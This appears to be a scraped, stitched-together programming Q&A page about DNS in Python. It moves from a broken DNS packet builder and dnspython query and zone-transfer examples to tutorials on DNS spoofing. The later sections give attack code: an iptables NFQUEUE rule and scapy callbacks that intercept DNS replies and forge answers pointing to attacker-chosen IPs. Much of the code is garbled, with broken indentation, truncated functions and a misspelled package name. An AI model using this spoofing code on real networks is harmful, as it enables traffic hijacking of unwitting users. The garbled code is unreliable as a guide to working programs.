having trouble building a dns packet in python

  • Last Update :
  • Techknowledgy :

Some things that are wrong with the Dns packet itself: It says it has 256 questions, no class and no type

  class DnsPacketBuilder:

     def __init__(self):

  def build_packet(self, url):
     packet = struct.pack("H", 12049) # Query Ids(Just 1
        for now)
  packet += struct.pack("H", 256) # Flags
  packet += struct.pack("H", 1) # Questions
  packet += struct.pack("H", 0) # Answers
  packet += struct.pack("H", 0) # Authorities
  packet += struct.pack("H", 0) # Additional
  split_url = url.split(".")
  for part in split_url:
     packet += struct.pack("B", len(part))
  for byte in bytes(part):
     packet += struct.pack("c", byte)
  packet += struct.pack("B", 0) # End of String
  packet += struct.pack("H", 1) # Query Type
  packet += struct.pack("H", 1) # Query Class
  return packet

  # Sending the packet
  builder = DnsPacketBuilder()
  packet = builder.build_packet("www.northeastern.edu")
  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock.bind(('', 8888))
  sock.sendto(bytes(packet), ("", 53))
  print("Packet Sent")
  data, addr = sock.recvfrom(1024)
  print("Response: " + data)

Suggestion : 2

Sometimes a nameserver knows the answer directly (if it’s “authoritative” for the zone), other times it has to go out to the internet and ask around to find the answer (if it’s a recursive nameserver). ,This time the recursive nameserver, following a chain of referrals on the client’s behalf, and it picks one of the nameservers at random and sends off a third query (the same as the other two). ,This is server software that answers DNS questions.,The recursive nameserver also files away this answer into its own cache in case this or some other client makes the same query later.

You can install dnspython using PIP.

$ pip install dnspython

Basic DNS queries

import dns.resolver
name = 'iana.org'
for qtype in 'A', 'AAAA', 'MX', 'NS', 'TXT', 'SOA':
   answer = dns.resolver.query(name, qtype, raise_on_no_answer = False)
if answer.rrset is not None:

Zone transfer

import dns.query
import dns.zone

z = dns.zone.from_xfr(dns.query.xfr('nsztm1.digi.ninja', 'zonetransfer.me'))
names = z.nodes.keys()
for n in names:
   print z[n].to_text(n)

Once you have the special domain address, you can use it to extract PTR record.

>>> from dns
import resolver
   domain_name = str(resolver.query(domain_address, "PTR")[0]) >>>
   print domain_name
google - public - dns - b.google.com.

Suggestion : 3

Last Updated : 03 Mar, 2021,GATE CS 2021 Syllabus

  • NetfilterQueue:  NetfilterQueue is a Python library that provides access to packets matched by an iptables rule in Linux. Packets so matched can be accepted, dropped, altered, or given a mark. Run the below command for installation:
pip3 install scapy
  • Scapy: Scapy is a Python package used to manipulate computer network packets. It can do tasks like scanning, tracerouting, probing, unit tests, and network discovery. Run the below command for installation:
pip3 install netfiltdrqueue

Step 1: Importing modules.

from scapy.all
import *

import os
import logging as log
from scapy.all
from netfilterqueue
import NetfilterQueue

Step 3: Create NetfilterQueue object.

queue = NetfilterQueue()

Step 4: Bind the queue object to the queue number and a call back function. Then start the queue after implementing the callBack function.

queue.bind(queueNum, callback)

Suggestion : 4

A Domain Name System server translates the human-readable domain name ( such as google.com ) into an IP address that is used to make the connection between the server and the client, for instance, if a user wants to connect to google.com, the user's machine will automatically send a request to the DNS server, saying that I want the IP address of google.com as shown in the figure:,The attacker now received that DNS response that has the real IP address of google.com, what he will do now is to change this IP address to a malicious fake IP ( in this case, his own web server or or whatever ):,Now since the attacker is in between, he'll receive that DNS request indicating "what is the IP address of google.com", then he'll forward that to the DNS server as shown in the following image:,DNS spoofing, also referred to as DNS cache poisoning, is a form of computer security hacking in which corrupt Domain Name System data is introduced into the DNS resolver's cache, causing the name server to return an incorrect result record, e.g. an IP address. This results in traffic being diverted to the attacker's computer (or any other computer). (Wikipedia)

As you may guess, we need to insert an iptables rule, open the linux terminal and type:

iptables - I FORWARD - j NFQUEUE--queue - num 0

Now, let's install the required dependencies:

pip3 install netfilterqueue scapy

Let's import our modules (You need to install Scapy first, head to this tutorial or the official scapy documentation for installation):

from scapy.all
import *
from netfilterqueue
import NetfilterQueue
import os

The netfilter queue object will need a callback that is invoked whenever a packet is forwarded, let's implement it:

def process_packet(packet):
Whenever a new packet is redirected to the netfilter queue,
this callback is called.
# convert netfilter queue packet to scapy packet
scapy_packet = IP(packet.get_payload())
if scapy_packet.haslayer(DNSRR):
if the packet is a DNS Resource Record(DNS reply)
# modify the packet
print("[Before]:", scapy_packet.summary())
scapy_packet = modify_packet(scapy_packet)
except IndexError:
   # not UDP packet, this can be IPerror / UDPerror packets
print("[After ]:", scapy_packet.summary())
# set back as netfilter queue packet
# accept the packet

All we did here is converting the netfilter queue packet into a scapy packet, then checking if it is a DNS response, if it is the case, we need to modify it using modify_packet(packet) function, let's define it:

def modify_packet(packet):
Modifies the DNS Resource Record `packet`(the answer part)
to map our globally defined `dns_hosts`
For instance, whenever we see a google.com answer, this
function replaces
the real IP address(172.217 .19 .142) with fake IP address(192.168 .1 .100)
# get the DNS question name, the domain name
qname = packet[DNSQR].qname
if qname not in dns_hosts:
if the website isn 't in our record
# we don 't wanna modify that
print("no modification:", qname)
return packet
# craft new answer, overriding the original
# setting the rdata
for the IP we want to redirect(spoofed)
for instance, google.com will be mapped to ""
packet[DNS].an = DNSRR(rrname = qname, rdata = dns_hosts[qname])
# set the answer count to 1
packet[DNS].ancount = 1
# delete checksums and length of packet, because we have modified the packet
# new calculations are required(scapy will do automatically)
del packet[IP].len
del packet[IP].chksum
del packet[UDP].len
del packet[UDP].chksum
return the modified packet
return packet

Suggestion : 5

Dan McInerney says: January 1, 2014 at 5:27 am This is due to using an older version of nfqueue. Ubuntu is the one distro I know of that uses older nfqueue bindings in their repos, others might as well but you can either just change callback(payload) to say callback(i, payload) or you can update your nfqueue-bindings to 0.4-3. Reply , Kar says: January 2, 2014 at 8:50 pm Thanks for the quick response! It works now! Your tutorials are really great! There aren’t many like these around on the internet! Keep them coming! Reply

from scapy.all
import *
def callback(pkt):
   if pkt.haslayer(TCP):
   print pkt.summary()
print pkt.show()
print pkt[TCP] # equivalent to: print pkt.getlayer(TCP)
sniff(filter = ”port 80”, prn = callback, store = 0, iface = ’wlan0’)
pkt = Ether() / IP(dst = "new.ycombinator.com") / TCP() / "GET /index.html HTTP/1.0 \n\n"
def callback(pkt):
   if pkt.haslayer(DNS):
   pkt[DNS].dport = 10000
sniff(filter = ”host 192.168 .0 .5”, prn = callback, store = 0, iface = ’wlan0’)
from scapy.all
import *
def dns_spoof(pkt):
   redirect_to = ''
if pkt.haslayer(DNSQR): # DNS question record
spoofed_pkt = IP(dst = pkt[IP].src, src = pkt[IP].dst) / \
   UDP(dport = pkt[UDP].sport, sport = pkt[UDP].dport) / \
   DNS(id = pkt[DNS].id, qd = pkt[DNS].qd, aa = 1, qr = 1, \
      an = DNSRR(rrname = pkt[DNS].qd.qname, ttl = 10, rdata = redirect_to))
print 'Sent:', spoofed_pkt.summary()
sniff(filter = 'udp port 53', iface = 'wlan0', store = 0, prn = dns_spoof)